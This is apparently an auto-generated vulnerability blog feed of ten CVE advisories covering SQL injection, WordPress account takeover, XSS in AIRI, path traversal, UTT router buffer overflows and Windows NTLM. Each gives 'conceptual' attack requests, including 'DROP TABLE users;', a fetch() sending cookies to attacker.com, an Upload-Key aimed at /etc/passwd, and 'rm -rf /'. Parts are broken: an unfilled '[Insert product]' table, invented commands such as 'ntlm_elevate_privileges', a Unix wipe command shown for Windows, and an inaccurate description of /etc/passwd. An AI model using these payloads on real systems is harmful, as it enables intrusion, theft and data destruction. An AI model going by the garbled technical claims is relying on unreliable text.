Author: Ameeba

CVE-2025-56407: Critical SQL Injection Vulnerability in HuangDou UTCMS V9
Overview

A new critical vulnerability, CVE-2025-56407, has been identified in the HuangDou UTCMS V9 application, affecting the file app/modules/ut-data/admin/mysql.php. This flaw exposes systems utilizing this software to a potential SQL injection attack, a common yet potent threat in the realm of cybersecurity. Given its ability to be exploited remotely and the fact that the exploit has been publicly disclosed, this vulnerability poses a significant risk to users of the affected software, potentially leading to system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-56407
Severity: Critical (8.8 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, data leakage

Affected Products

Product | Affected Versions

HuangDou UTCMS | V9

How the Exploit Works

The vulnerability exists in the RunSql function of the mysql.php file within HuangDou UTCMS V9. Specifically, the function does not sanitize the ‘sql’ argument properly, allowing an attacker to inject malicious SQL commands. These commands can manipulate, delete, or extract sensitive data from the underlying database, leading to the potential compromise of the system or data leakage.

Conceptual Example Code

An attacker exploiting this vulnerability might use a specially crafted HTTP POST request like the following:
```
POST /app/modules/ut-data/admin/mysql.php HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
sql=DROP TABLE users;
```
In this example, if the targeted system is vulnerable and fails to sanitize the ‘sql‘ parameter, the SQL command ‘DROP TABLE users;’ will be executed, leading to the deletion of the ‘users’ table from the database.

Mitigation

To mitigate this vulnerability, affected systems should apply the latest security patches provided by the vendor as soon as possible. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to detect and block SQL injection attacks can serve as a temporary mitigation strategy. Regular review and update of security policies, plus ongoing staff training on security awareness, are also crucial to decrease the vulnerability of systems to such attacks.
September 18, 2025
CVE-2025-7718: Privilege Escalation Vulnerability in the Resideo Plugin for WordPress
Overview

The CVE-2025-7718 vulnerability is a critical flaw found in the Resideo Plugin for Resideo – Real Estate WordPress Theme, a popular plugin for WordPress. This plugin enables the creation of a dynamic, user-friendly real estate website. However, all versions up to and including 2.5.4 suffer from a vulnerability that can lead to privilege escalation through user account takeover. This flaw is of significant concern as it can allow attackers to gain unauthorized access to user accounts, potentially leading to the compromise of the entire system or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-7718
Severity: Critical (8.8 CVSS Score)
Attack Vector: Network
Privileges Required: Low (Subscriber-level access)
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Resideo Plugin for Resideo – Real Estate WordPress Theme | Up to and including 2.5.4

How the Exploit Works

The vulnerability exists because the Resideo Plugin does not properly validate a user’s identity before updating their account details, such as their email address. An attacker with Subscriber-level access can exploit this flaw by changing the email address of any user, including administrators. The attacker can then initiate a password reset for the targeted account, which will be sent to the attacker-controlled email address. This allows the attacker to gain unauthorized access to the targeted account.

Conceptual Example Code

The following is a conceptual example of how the vulnerability might be exploited:
```
POST /wp-admin/user-edit.php?user_id=[target_user_id] HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_logged_in_[hash]=[attacker_session]
email=[attacker_email]&pass1=[attacker_password]&pass2=[attacker_password]&action=update
```
In this example, the attacker sends a POST request to the user-edit.php endpoint on the WordPress admin panel. The attacker uses their own authenticated session cookie (wordpress_logged_in_[hash]) and specifies the user_id of the targeted user. The email, pass1, and pass2 parameters are set to the attacker’s desired values, allowing the attacker to take control of the targeted account.

Mitigation Guidance

Users of the affected Resideo plugin are strongly urged to apply the vendor’s patch once it becomes available. In the meantime, the use of a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can provide temporary mitigation, by blocking or alerting on suspicious activities related to the manipulation of user account details.
September 18, 2025
CVE-2025-59053: Critical XSS and Arbitrary Command Execution Vulnerability in AIRI
Overview

In this post, we delve into the details of a critical vulnerability (CVE-2025-59053) that affects AIRI, a self-hosted artificial intelligence-based Grok Companion. This vulnerability exposes systems to potential compromises and data leakage, warranting immediate attention. Given AIRI’s widespread use, this vulnerability could have far-reaching implications, especially in terms of cross-site scripting (XSS) and arbitrary command execution. As such, understanding this vulnerability and its mitigation is crucial for system administrators and cybersecurity professionals alike.

Vulnerability Summary

CVE ID: CVE-2025-59053
Severity: Critical (9.6 CVSS Severity Score)
Attack Vector: Web-based
Privileges Required: None
User Interaction: Required
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

AIRI | v0.7.2-beta.2

How the Exploit Works

The vulnerability exists in the Markdown content processing of AIRI. Specifically, the `useMarkdown` composable, which processes the Markdown content and the processed HTML, is rendered directly into the DOM using v-html. An attacker can exploit this weakness by creating a card file containing malicious HTML/JavaScript.
The exploit occurs when this malicious file is processed using the `highlightTagToHtml` function, which replaces template tags without HTML escaping. The processed content is then directly rendered using v-html, leading to an XSS attack.
What makes this vulnerability more dangerous is the exposed Tauri API, which can be called from the frontend. The MCP plugin further exposes a command execution interface function, allowing arbitrary command execution, thereby posing a severe threat to the system security.

Conceptual Example Code

The following is a conceptual example of how the vulnerability might be exploited:
```
const maliciousCard = `<!doctype html>
<html>
<body>
<script>
// Arbitrary JavaScript code
fetch('http://attacker.com/steal?cookie=' + document.cookie);
</script>
</body>
</html>`;
// The malicious card is then processed using highlightTagToHtml and rendered using v-html
highlightTagToHtml(maliciousCard);
```
This JavaScript code would send the user’s cookies to the attacker’s server, demonstrating one of many ways this vulnerability could be exploited. The attacker could also execute arbitrary system commands if they gain access to the MCP plugin’s command execution interface.

Mitigation

Users should update to v0.7.2-beta.3 as it fixes the issue. In instances where an immediate update is not feasible, employing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can temporarily mitigate the threat by detecting and blocking malicious activity. However, this is only a temporary solution, and applying the vendor patch should be a priority.
September 18, 2025
CVE-2025-7049: Privilege Escalation Vulnerability in WPGYM – WordPress Gym Management System Plugin
Overview

In the cybersecurity landscape, vulnerabilities can lead to devastating breaches if not addressed promptly. One such vulnerability currently posing a threat to WordPress sites is CVE-2025-7049. This severe flaw is present in the WPGYM – WordPress Gym Management System Plugin, affecting all versions up to and including 67.7.0. It allows for a privilege escalation exploit that could enable an attacker to alter the details of any user, including system administrators. The implications of this can be far-reaching, leading to system compromise and potential data leakages.

Vulnerability Summary

CVE ID: CVE-2025-7049
Severity: High (8.8/10 on the CVSS scale)
Attack Vector: Network
Privileges Required: Low (Subscriber-level access)
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

WPGYM – WordPress Gym Management System | Up to and including 67.7.0

How the Exploit Works

The vulnerability stems from a lack of validation on a user-controlled key in the ‘MJ_gmgt_gmgt_add_user’ function of the WPGYM plugin. Attackers with mere subscriber-level access can exploit this flaw by manipulating this key, allowing them to change the email, password, and other details of any user, including those with administrator privileges.

Conceptual Example Code

The following pseudocode illustrates how an attacker might exploit this vulnerability:
```
POST /wp-admin/admin-ajax.php?action=MJ_gmgt_gmgt_add_user HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
user_id=<ADMIN_USER_ID>&email=<ATTACKER_EMAIL>&password=<ATTACKER_PASSWORD>&role=administrator
```
In this example, the attacker changes the email and password of an administrator-level user, potentially granting them full control over the victim’s WordPress site.

Mitigation and Recommendations

It is essential that users of the affected WPGYM – WordPress Gym Management System plugin promptly apply the vendor’s patch to fix this vulnerability. For temporary mitigation, users may employ Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS). However, these are not permanent solutions and can only offer limited protection. The most effective defense against this exploit is to update the plugin as soon as a patch is available.
September 18, 2025
CVE-2025-41714: Critical Vulnerability in Upload Endpoint causing Arbitrary File Write and Potential Remote Code Execution
Overview

The world of cybersecurity is in a constant state of flux, with new vulnerabilities being discovered and exploited on a regular basis. One such vulnerability that has been recently identified and added to the Common Vulnerabilities and Exposures (CVE) system is CVE-2025-41714. This severe security flaw lies in the upload endpoint of certain systems, where the ‘Upload-Key’ request header is not appropriately validated. This could potentially allow an authenticated attacker to manipulate the path traversal sequences and cause the server to create upload-related artifacts beyond the intended storage location.
The vulnerability is of critical importance as it may lead to arbitrary file write and in certain configurations, can be leveraged to achieve remote code execution, hence causing potential system compromise or data leakage. It is therefore essential for organizations and individuals to understand and mitigate this vulnerability promptly.

Vulnerability Summary

CVE ID: CVE-2025-41714
Severity: Critical (CVSS Score: 8.8)
Attack Vector: Network
Privileges Required: User
User Interaction: Required
Impact: A successful exploit may lead to system compromise or data leakage, with potential for remote code execution

Affected Products

Product | Affected Versions

[Insert product] | [Insert affected version]
[Insert product] | [Insert affected version]

How the Exploit Works

The root cause of the vulnerability is insufficient validation of the ‘Upload-Key’ request header in the upload endpoint. An authenticated attacker can exploit this flaw by supplying malicious path traversal sequences in the ‘Upload-Key’ header. This action can trick the server into creating upload-related artifacts outside the intended storage location. In certain vulnerable configurations, this can lead to arbitrary file write, allowing the attacker to modify or overwrite sensitive files. In a worst-case scenario, the attacker can leverage this flaw to execute remote code, potentially leading to a full system compromise.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited:
```
POST /vulnerable/upload_endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
Upload-Key: "../../../../etc/passwd"
{ "malicious_payload": "..." }
```
In this example, the attacker is attempting to overwrite the “/etc/passwd” file, which contains user password data on Unix-like systems, by manipulating the ‘Upload-Key’ header. The malicious payload would contain the data to be written to the file.
Please note that this is a conceptual example and the actual exploit would be dependent on the specific system, its configuration, and the attacker’s intent.
September 18, 2025
CVE-2025-10172: Critical Buffer Overflow Vulnerability in UTT 750W
Overview

The Cybersecurity community has recently been alerted to a critical vulnerability, tagged CVE-2025-10172, affecting the UTT 750W up to version 3.2.2-191225. This flaw lies in the processing of the file /goform/formPictureUrl and can lead to a buffer overflow scenario. It’s a severe issue as it grants a malicious actor the ability to execute an attack remotely, potentially leading to a system compromise or a data breach. Despite the vendor being informed in advance about this flaw, there has yet to be an official response, making it all the more essential to understand this vulnerability and take necessary precautions.

Vulnerability Summary

CVE ID: CVE-2025-10172
Severity: Critical (8.8 CVSS Score)
Attack Vector: Remote
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

UTT 750W | Up to 3.2.2-191225

How the Exploit Works

The vulnerability lies in the unknown processing of the file /goform/formPictureUrl within the UTT 750W. By manipulating the argument ‘importpictureurl’, an attacker can trigger a buffer overflow condition. This overflow allows the attacker to execute arbitrary code on the system, potentially leading to complete system compromise or data leakage. Since the exploit can be executed remotely, it does not require any user interaction or elevated privileges.

Conceptual Example Code

Here’s a conceptual example of how an HTTP request exploiting this vulnerability might look:
```
POST /goform/formPictureUrl HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
importpictureurl=AAAAAAAAAA...[continues until buffer overflow is triggered]
```
In this example, the ‘importpictureurl’ argument is filled with an excessive amount of data (represented by ‘A’s), causing a buffer overflow condition.

Mitigation

Currently, the vendor has not released any patch to address this vulnerability. However, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can help mitigate this vulnerability temporarily by detecting and blocking malicious requests that aim to exploit it. It’s advisable to monitor the vendor’s official communications for updates on a more permanent fix for this issue.
September 18, 2025
CVE-2025-10171: Critical Buffer Overflow Vulnerability in UTT 1250GW
Overview

A critical vulnerability, designated as CVE-2025-10171, has been identified in UTT 1250GW versions up to 3.2.2-200710. This vulnerability, which resides in the function sub_453DC of the file /goform/formConfigApConfTemp, can lead to a buffer overflow when manipulated. The seriousness of this vulnerability cannot be overstated, given that it allows for remote exploitation and potentially compromises the entire system or leads to data leakage.
This issue poses a significant threat to organizations utilizing UTT 1250GW, as the exploit is now public and may be used by malicious actors. Despite being alerted to this vulnerability, the vendor has failed to respond, exacerbating the potential risks associated with this flaw.

Vulnerability Summary

CVE ID: CVE-2025-10171
Severity: Critical (8.8 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

UTT 1250GW | up to 3.2.2-200710

How the Exploit Works

The vulnerability lies within the function sub_453DC of the file /goform/formConfigApConfTemp. When manipulated, it results in a buffer overflow. This overflow can allow malicious actors to execute arbitrary code on the target system, leading to serious consequences such as system compromise or data leakage. The vulnerability can be exploited remotely, which makes it even more dangerous.

Conceptual Example Code

This conceptual example demonstrates how a malicious actor might exploit this vulnerability. Note that this is intended for educational purposes only:
```
POST /goform/formConfigApConfTemp HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"buffer_overflow_trigger": "Extremely long string or binary data that exceeds buffer size..."
}
```
In this example, the malicious actor sends a POST request with a payload that exceeds the predetermined buffer size. This results in a buffer overflow, which in turn can lead to arbitrary code execution and potential system compromise or data leakage.

Mitigation Guidance

Users are advised to apply a vendor patch as soon as it becomes available. In the meantime, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can offer temporary mitigation against this vulnerability. Regular monitoring and timely incident response can also help to limit the damage in case of an exploit.
September 18, 2025
CVE-2025-10170: Critical Buffer Overflow Vulnerability in UTT 1200GW Up To 3.0.0-170831
Overview

In the continually evolving landscape of cybersecurity, a new vulnerability has been detected in the UTT 1200GW up to 3.0.0-170831. This security vulnerability, classified as CVE-2025-10170, affects the function sub_4B48F8 of the file /goform/formApLbConfig. This vulnerability is critical, particularly for organizations utilizing UTT 1200GW in their network infrastructure, as it opens up the potential for system compromise and data leakage.
The vulnerability is not only dangerous due to its potential impact but also because it has been publicly disclosed. This means that malicious actors may have access to exploit this vulnerability, and without a response from the vendor, this leaves systems unprotected and at risk. This article aims to shed light on the severity of this vulnerability, its impact, and potential mitigation strategies.

Vulnerability Summary

CVE ID: CVE-2025-10170
Severity: Critical (8.8)
Attack Vector: Remote
Privileges Required: Low
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

UTT 1200GW | Up to 3.0.0-170831

How the Exploit Works

The vulnerability emerges from a buffer overflow condition in the function sub_4B48F8 of /goform/formApLbConfig file in UTT 1200GW. Manipulation of the argument loadBalanceNameOld can trigger this overflow, which in turn can lead to remote code execution (RCE) by an attacker. This RCE can be launched remotely, without requiring user interaction, and can result in system compromise or data leakage.

Conceptual Example Code

Here is a
conceptual
example of how this vulnerability can be exploited using a crafted HTTP request. This should not be executed but is shown for illustrative purposes:
```
POST /goform/formApLbConfig HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"loadBalanceNameOld": "A"*8000,
"other_parameters": "..."
}
```
In the example above, an attacker could flood the loadBalanceNameOld parameter with a large amount of data (symbolically represented by “A”*8000) to trigger the buffer overflow and potentially execute arbitrary code.

Mitigation Guidance

Given the lack of response from the vendor, it is recommended to apply a third-party patch if available. Until such a patch is available or the vendor provides a fix, temporary mitigation can be achieved through the use of a Web Application Firewall (WAF) or an Intrusion Detection System (IDS). These systems can be configured to detect and potentially block attempts to exploit this vulnerability, providing some level of protection against attacks.
September 17, 2025
CVE-2025-10169: Remote Buffer Overflow Vulnerability in UTT 1200GW up to 3.0.0-170831
Overview

A critical security vulnerability, designated as CVE-2025-10169, has been discovered in UTT 1200GW routers up to version 3.0.0-170831. This vulnerability pertains to a certain unknown functionality of the file /goform/ConfigWirelessBase, which when manipulated, leads to a buffer overflow. The significance of this vulnerability lies in its potential to compromise systems and result in data leakage, thereby posing serious security risks for organizations and individuals relying on these routers.

Vulnerability Summary

CVE ID: CVE-2025-10169
Severity: High (8.8 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

UTT 1200GW | up to 3.0.0-170831

How the Exploit Works

The exploit takes advantage of a buffer overflow vulnerability in the /goform/ConfigWirelessBase file of the UTT 1200GW routers. An attacker can remotely manipulate the ‘ssid’ argument leading to the overflow of the buffer. This can allow the attacker to execute arbitrary code on the target system or cause the system to crash, leading to potential system compromise or data leakage.

Conceptual Example Code

Below is a conceptual example of a malicious HTTP request that manipulates the ‘ssid’ argument to exploit the vulnerability:
```
POST /goform/ConfigWirelessBase HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
ssid="A"*5000  // This is a conceptual illustration; real exploit would involve crafted binary data.
```
This request attempts to overflow the buffer by passing a string of “A”s that exceed the buffer’s capacity. In a real-world scenario, the attacker would craft a specific binary data that not only overflows the buffer but also includes malicious code to be executed on the target system.

Mitigation

Users of the affected UTT 1200GW versions are advised to apply vendor patches as soon as they become available. In the absence of a patch, it is recommended to use a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) as a temporary mitigation measure. These systems can help detect and block malicious requests that attempt to exploit this vulnerability.
September 17, 2025
CVE-2025-54918: Improper Authentication Elevates Privileges in Windows NTLM
Overview

In the ever-evolving field of cybersecurity, vulnerabilities emerge that pose significant threats to information systems worldwide. One such vulnerability, dubbed CVE-2025-54918, affects the Windows NTLM, a popular security protocol used by Microsoft. This vulnerability is particularly concerning due to its potential to allow an authorized attacker to escalate privileges over a network. As a result, systems could be compromised, and sensitive data may be leaked, affecting businesses and individual users alike.

Vulnerability Summary

CVE ID: CVE-2025-54918
Severity: High (8.8 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System Compromise, Potential Data Leakage

Affected Products

Product | Affected Versions

Windows | NTLM

How the Exploit Works

The vulnerability hinges on an improper authentication mechanism within the Windows NTLM. This allows an attacker who is already authenticated on the network to exploit this vulnerability to elevate their privileges. The attacker can then execute commands with higher-level permissions, effectively granting them control over the compromised system.

Conceptual Example Code

Below is a conceptual example of how this vulnerability might be exploited:
```
# Attacker is already authenticated on the network
# Exploit the vulnerability to elevate privileges
$ ntlm_elevate_privileges
# Execute commands with higher-level permissions
$ run_as_admin 'rm -rf /'
```
This example illustrates the potential danger of this vulnerability. Once the attacker has escalated their privileges, they have the power to perform any action on the compromised system, such as deleting all files, as shown in the example.

Potential Mitigation

Addressing CVE-2025-54918 necessitates applying the appropriate vendor patch as soon as it is available. This patch will correct the improper authentication mechanism, thus eliminating the vulnerability. However, until the patch can be applied, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. These systems can detect and block suspicious activities, thereby providing a layer of protection against potential exploits associated with this vulnerability.
In conclusion, CVE-2025-54918 is a significant vulnerability that requires immediate attention from system administrators and users alike. By understanding the threat it poses and implementing the proper mitigation strategies, it is possible to safeguard valuable data and maintain system integrity.
September 17, 2025